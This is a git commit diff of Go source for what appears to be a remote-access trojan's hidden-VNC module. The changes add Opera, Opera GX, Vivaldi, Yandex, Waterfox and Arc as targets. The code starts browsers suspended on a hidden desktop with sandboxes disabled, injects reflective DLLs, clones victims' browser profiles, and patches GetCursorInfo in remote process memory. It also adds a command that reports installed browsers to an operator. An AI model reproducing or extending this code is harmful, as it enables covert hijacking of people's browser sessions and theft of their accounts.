add more browsers, browser checks and move SOL push to management

This commit is contained in:
KingKDot
2026-04-17 09:56:04 -05:00
parent d7a672d334
commit 2353f5a158
13 changed files with 462 additions and 98 deletions
@@ -4,8 +4,8 @@ package capture
import "errors"
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
return errors.New("HVNC injection not supported on this platform")
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
return 0, errors.New("HVNC injection not supported on this platform")
}
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
@@ -18,3 +18,7 @@ type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc) error {
return errors.New("HVNC injection not supported on this platform")
}
func CheckInstalledBrowsers() map[string]bool {
return nil
}
@@ -102,12 +102,12 @@ func enableDebugPrivilege() {
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
if filePath == "" {
return fmt.Errorf("empty file path")
return 0, fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return fmt.Errorf("empty DLL bytes")
return 0, fmt.Errorf("empty DLL bytes")
}
result, err := executeHVNCTask(hvncTask{
@@ -119,9 +119,9 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
replacePath: replacePath,
}, 30*time.Second)
if err != nil {
return err
return 0, err
}
return result.err
return result.pid, result.err
}
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
@@ -158,7 +158,14 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name)
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
if err != nil {
return err
}
if info.needsPatch && pid != 0 {
go patchOperaAsync(pid, 5, 2*time.Second)
}
return nil
}
realUserData := getBrowserUserDataDir(info)
@@ -195,7 +202,14 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
}
return StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
if err != nil {
return err
}
if info.needsPatch && pid != 0 {
go patchOperaAsync(pid, 5, 2*time.Second)
}
return nil
}
// StartHVNCChromeInjected is kept for backward compatibility.
@@ -204,12 +218,14 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes
}
type browserInfo struct {
name string
exeName string
exePaths []string // candidate exe locations (env vars expanded at runtime)
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
isFirefox bool // true for Firefox (different profile structure)
name string
exeName string
exePaths []string // candidate exe locations (env vars expanded at runtime)
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
isFirefox bool // true for Firefox (different profile structure)
flatProfile bool // true = no Default/Profile subdirs; treat all root dirs as profile content
needsPatch bool // true = apply GetCursorInfo patch after launch (Opera/Opera GX)
}
var browserInfoMap = map[string]browserInfo{
@@ -247,6 +263,70 @@ var browserInfoMap = map[string]browserInfo{
useAppData: true,
isFirefox: true,
},
"opera": {
name: "Opera",
exeName: "opera.exe",
exePaths: []string{
`\Programs\Opera\opera.exe`,
},
userData: `Opera Software\Opera Stable`,
useAppData: true,
flatProfile: true,
needsPatch: true,
},
"operagx": {
name: "Opera GX",
exeName: "opera.exe",
exePaths: []string{
`\Programs\Opera GX\opera.exe`,
},
userData: `Opera Software\Opera GX Stable`,
useAppData: true,
flatProfile: true,
needsPatch: true,
},
"vivaldi": {
name: "Vivaldi",
exeName: "vivaldi.exe",
exePaths: []string{
`\Vivaldi\Application\vivaldi.exe`,
},
userData: `Vivaldi\User Data`,
},
"yandex": {
name: "Yandex",
exeName: "browser.exe",
exePaths: []string{
`\Yandex\YandexBrowser\Application\browser.exe`,
},
userData: `Yandex\YandexBrowser\User Data`,
},
"waterfox": {
name: "Waterfox",
exeName: "waterfox.exe",
exePaths: []string{
`\Waterfox\waterfox.exe`,
},
userData: `Waterfox`,
useAppData: true,
isFirefox: true,
},
"arc": {
name: "Arc",
exeName: "Arc.exe",
exePaths: []string{
`\Arc\Application\Arc.exe`,
},
userData: `Arc\User Data`,
},
}
func CheckInstalledBrowsers() map[string]bool {
result := make(map[string]bool, len(browserInfoMap))
for key, info := range browserInfoMap {
result[key] = findBrowserExe(info) != ""
}
return result
}
func findBrowserExe(info browserInfo) string {
@@ -465,11 +545,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
jobs = append(jobs, copyJob{src: src, dst: dst})
}
// Get browser info to check if it's Firefox
// Get browser info to check profile structure
isFirefox := false
flatProfile := false
for _, bi := range browserInfoMap {
if strings.EqualFold(bi.name, browserName) {
isFirefox = bi.isFirefox
flatProfile = bi.flatProfile
break
}
}
@@ -480,20 +562,24 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
dst := filepath.Join(cloneBase, name)
if entry.IsDir() {
// Check if this is a profile directory
isProfile := false
if isFirefox {
// Firefox profiles have names like "xxxxx.default-release"
isProfile = isFirefoxProfile(name)
} else {
// Chrome-based browsers use "Default" or "Profile X"
isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
}
if isProfile {
if flatProfile {
collectProfileDir(src, dst, skipDirs, collectFile)
} else if !skipDirs[strings.ToLower(name)] {
collectDirFiles(src, dst, collectFile)
} else {
// Check if this is a profile directory
isProfile := false
if isFirefox {
// Firefox profiles have names like "xxxxx.default-release"
isProfile = isFirefoxProfile(name)
} else {
// Chrome-based browsers use "Default" or "Profile X"
isProfile = strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
}
if isProfile {
collectProfileDir(src, dst, skipDirs, collectFile)
} else if !skipDirs[strings.ToLower(name)] {
collectDirFiles(src, dst, collectFile)
}
}
} else {
collectFile(src, dst)
@@ -667,19 +753,19 @@ func calcDirSize(dir string) int64 {
return total
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) error {
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
if filePath == "" {
return fmt.Errorf("empty file path")
return 0, fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return fmt.Errorf("empty DLL bytes")
return 0, fmt.Errorf("empty DLL bytes")
}
// Create a page-file-backed named section containing the raw DLL bytes.
// Child processes will open this section to reflectively inject themselves.
shmHandle, shmName, err := createDLLSharedMemory(dllBytes)
if err != nil {
return fmt.Errorf("failed to create DLL shared memory: %v", err)
return 0, fmt.Errorf("failed to create DLL shared memory: %v", err)
}
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
@@ -689,7 +775,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
if err != nil {
procCloseHandle.Call(shmHandle)
return fmt.Errorf("failed to create suspended process: %v", err)
return 0, fmt.Errorf("failed to create suspended process: %v", err)
}
log.Printf("hvnc inject: created suspended process PID %d", pid)
@@ -699,7 +785,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
procCloseHandle.Call(hThread)
terminateProcess(hProcess)
procCloseHandle.Call(shmHandle)
return fmt.Errorf("DLL injection failed: %v", err)
return 0, fmt.Errorf("DLL injection failed: %v", err)
}
log.Printf("hvnc inject: DLL injected into PID %d", pid)
@@ -714,7 +800,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
ret, _, _ := procResumeThread.Call(hThread)
if ret == 0xFFFFFFFF {
procCloseHandle.Call(hThread)
return fmt.Errorf("failed to resume thread")
return 0, fmt.Errorf("failed to resume thread")
}
procCloseHandle.Call(hThread)
@@ -724,7 +810,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
go hvncDeferredGPUInject(pid, captureDllBytes)
}
return nil
return pid, nil
}
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
@@ -932,15 +1018,19 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
args := " --window-position=0,0"
browserExes := map[string]bool{
"chrome.exe": true,
"brave.exe": true,
"msedge.exe": true,
chromiumExes := map[string]bool{
"chrome.exe": true,
"brave.exe": true,
"msedge.exe": true,
"opera.exe": true,
"vivaldi.exe": true,
"browser.exe": true,
"arc.exe": true,
}
baseName := strings.ToLower(filepath.Base(filePath))
if browserExes[baseName] {
if chromiumExes[baseName] {
args += " --no-sandbox --allow-no-sandbox-job --disable-gpu-sandbox"
} else if baseName == "firefox.exe" {
} else if baseName == "firefox.exe" || baseName == "waterfox.exe" {
args += " -no-remote -wait-for-browser"
}
cmdLine, err := syscall.UTF16FromString(filePath + args)
@@ -0,0 +1,163 @@
//go:build windows
package capture
import (
"fmt"
"log"
"strings"
"syscall"
"time"
"unsafe"
)
var (
procGetProcAddress = kernel32.NewProc("GetProcAddress")
procLoadLibraryW = kernel32.NewProc("LoadLibraryW")
procVirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx")
procGetModuleFileNameExW = psapi.NewProc("GetModuleFileNameExW")
)
var psapi = syscall.NewLazyDLL("psapi.dll")
const (
pageExecuteReadWrite = 0x40
listModulesAll = 0x03
)
func patchGetCursorInfo(pid uint32) error {
addr, err := remoteGetProcAddress(pid, "user32.dll", "GetCursorInfo")
if err != nil {
return fmt.Errorf("find GetCursorInfo: %w", err)
}
// mov eax, 1; ret
patch := []byte{0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}
hProcess, _, callErr := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS_INJ), 0, uintptr(pid))
if hProcess == 0 {
return fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
}
defer procCloseHandle.Call(hProcess)
var oldProtect uint32
ret, _, callErr := procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
pageExecuteReadWrite, uintptr(unsafe.Pointer(&oldProtect)))
if ret == 0 {
return fmt.Errorf("VirtualProtectEx: %v", callErr)
}
var written uintptr
ret, _, callErr = procWriteProcessMemory.Call(hProcess, addr,
uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)),
uintptr(unsafe.Pointer(&written)))
if ret == 0 {
return fmt.Errorf("WriteProcessMemory: %v", callErr)
}
verify := make([]byte, len(patch))
var read uintptr
procReadProcessMemory.Call(hProcess, addr,
uintptr(unsafe.Pointer(&verify[0])), uintptr(len(verify)),
uintptr(unsafe.Pointer(&read)))
if int(read) == len(patch) {
ok := true
for i := range patch {
if verify[i] != patch[i] {
ok = false
break
}
}
if !ok {
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
}
}
var dummy uint32
procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
uintptr(oldProtect), uintptr(unsafe.Pointer(&dummy)))
return nil
}
func remoteGetProcAddress(pid uint32, dllName, funcName string) (uintptr, error) {
dllNameUTF16, _ := syscall.UTF16PtrFromString(dllName)
localModule, _, callErr := procLoadLibraryW.Call(uintptr(unsafe.Pointer(dllNameUTF16)))
if localModule == 0 {
return 0, fmt.Errorf("LoadLibrary %s: %v", dllName, callErr)
}
funcNameBytes, _ := syscall.BytePtrFromString(funcName)
localFunc, _, callErr := procGetProcAddress.Call(localModule, uintptr(unsafe.Pointer(funcNameBytes)))
if localFunc == 0 {
return 0, fmt.Errorf("GetProcAddress %s!%s: %v", dllName, funcName, callErr)
}
offset := localFunc - localModule
remoteBase, err := getRemoteModuleBase(pid, dllName)
if err != nil {
return 0, err
}
return remoteBase + offset, nil
}
func getRemoteModuleBase(pid uint32, moduleName string) (uintptr, error) {
hProcess, _, callErr := procOpenProcess.Call(
uintptr(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ), 0, uintptr(pid))
if hProcess == 0 {
return 0, fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
}
defer procCloseHandle.Call(hProcess)
var modules [1024]uintptr
var cbNeeded uint32
ret, _, callErr := procEnumProcessModules.Call(hProcess,
uintptr(unsafe.Pointer(&modules[0])),
uintptr(len(modules))*unsafe.Sizeof(modules[0]),
uintptr(unsafe.Pointer(&cbNeeded)),
listModulesAll)
if ret == 0 {
return 0, fmt.Errorf("EnumProcessModulesEx: %v", callErr)
}
count := int(cbNeeded) / int(unsafe.Sizeof(modules[0]))
target := strings.ToLower(moduleName)
var nameBuf [260]uint16
for i := 0; i < count; i++ {
n, _, _ := procGetModuleFileNameExW.Call(hProcess, modules[i],
uintptr(unsafe.Pointer(&nameBuf[0])), uintptr(len(nameBuf)))
if n == 0 {
continue
}
fullPath := syscall.UTF16ToString(nameBuf[:n])
baseName := strings.ToLower(fullPath)
if idx := strings.LastIndexByte(baseName, '\\'); idx >= 0 {
baseName = baseName[idx+1:]
}
if baseName == target || baseName == target+".dll" {
return modules[i], nil
}
}
return 0, fmt.Errorf("module %s not found in PID %d", moduleName, pid)
}
func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
for attempt := 0; attempt < maxRetries; attempt++ {
if attempt > 0 {
time.Sleep(delay)
}
if err := patchGetCursorInfo(pid); err != nil {
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
continue
}
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
return
}
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
}
@@ -223,6 +223,7 @@ type hvncTask struct {
type hvncTaskResult struct {
img *image.RGBA
err error
pid uint32
}
type startupInfo struct {
@@ -459,7 +460,7 @@ func ensureHVNCThread() error {
hvncThreadErr = fmt.Errorf("failed to set thread desktop: %v", err)
close(hvncThreadReady)
for task := range hvncThreadTasks {
task.resp <- hvncTaskResult{nil, hvncThreadErr}
task.resp <- hvncTaskResult{err: hvncThreadErr}
}
return
}
@@ -480,7 +481,7 @@ func ensureHVNCThread() error {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown:
+14 -1
View File
@@ -1472,6 +1472,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_browser_check", nil, func() {
browsers := capture.CheckInstalledBrowsers()
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
Type: "hvnc_browser_check_result",
Browsers: browsers,
})
log.Printf("hvnc: browser check complete: %v", browsers)
})
return nil
case "hvnc_lookup":
payload, _ := envelope["payload"].(map[string]interface{})
exeName := ""
@@ -1530,7 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() {
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
}
})
@@ -246,6 +246,11 @@ type HVNCLookupResult struct {
Done bool `msgpack:"done"`
}
type HVNCBrowserCheckResult struct {
Type string `msgpack:"type"`
Browsers map[string]bool `msgpack:"browsers"`
}
type ClipboardContent struct {
Type string `msgpack:"type"`
Text string `msgpack:"text"`